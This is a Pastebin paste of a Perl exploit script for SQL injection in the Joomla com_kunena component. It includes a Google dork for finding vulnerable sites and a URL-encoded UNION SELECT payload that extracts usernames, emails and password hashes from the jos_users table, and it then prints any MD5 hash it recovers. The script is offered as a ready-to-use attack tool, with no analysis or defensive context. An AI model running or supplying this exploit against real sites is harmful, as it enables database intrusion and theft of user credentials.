Mayk0

#; Joomla Component com_kunena SQL Injection exploit

Apr 30th, 2014
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.38 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Exploit title: Joomla Component com_kunena SQL Injection exploit
  3. #Google Dork: inurl:index.php?option=com_kunena&
  4. #Exploit Author: D35m0nd142
  5. #Screenshot : http://imageshack.us/f/155/comkunena2.png/
  6. #Vendor HomePage: http://www.joomla.org/
  7. #Special thanks to Taurusomar
  8. system("clear");
  9. print "*********************************************\n";
  10. print "* Joomla Component com_kunena SQL Injection *\n";
  11. print "*      Coded by D35m0nd142                  *\n";
  12. print "*********************************************\n";
  13. sleep 1;
  14. use LWP::UserAgent;
  15. print "Enter the target --> ";
  16. chomp(my $target=<STDIN>);
  17. $code="%25%27%20and%201=2%29%20union%20select%201,%20concat%280x3a,username,0x3a,email,0x3a,0x3a,activation%29,concat%280x3a,username,0x3a,email,0x3a,password,0x3a,activation%29,%27Super%20Administrator%27,%27email%27,%272009-11-26%2022:09:28%27,%272009-11-26%2022:09:28%27,62,1,1,0,0,0,1,15%20from%20jos_users--%20;";
  18. $agent = LWP::UserAgent->new() or die "[!] Error while processing";
  19. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
  20. $host= $target. "/index.php?option=com_kunena&func=userlist&search=".$code;
  21. $ok = $agent->request(HTTP::Request->new(GET=>$host));
  22. $ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
  23. print "[+] Password found --> $1\n$2\n";
  24. sleep 1;
  25. }
  26. else
  27. {
  28. print "Password not found \n";
  29. }
Add Comment
Please, Sign In to add comment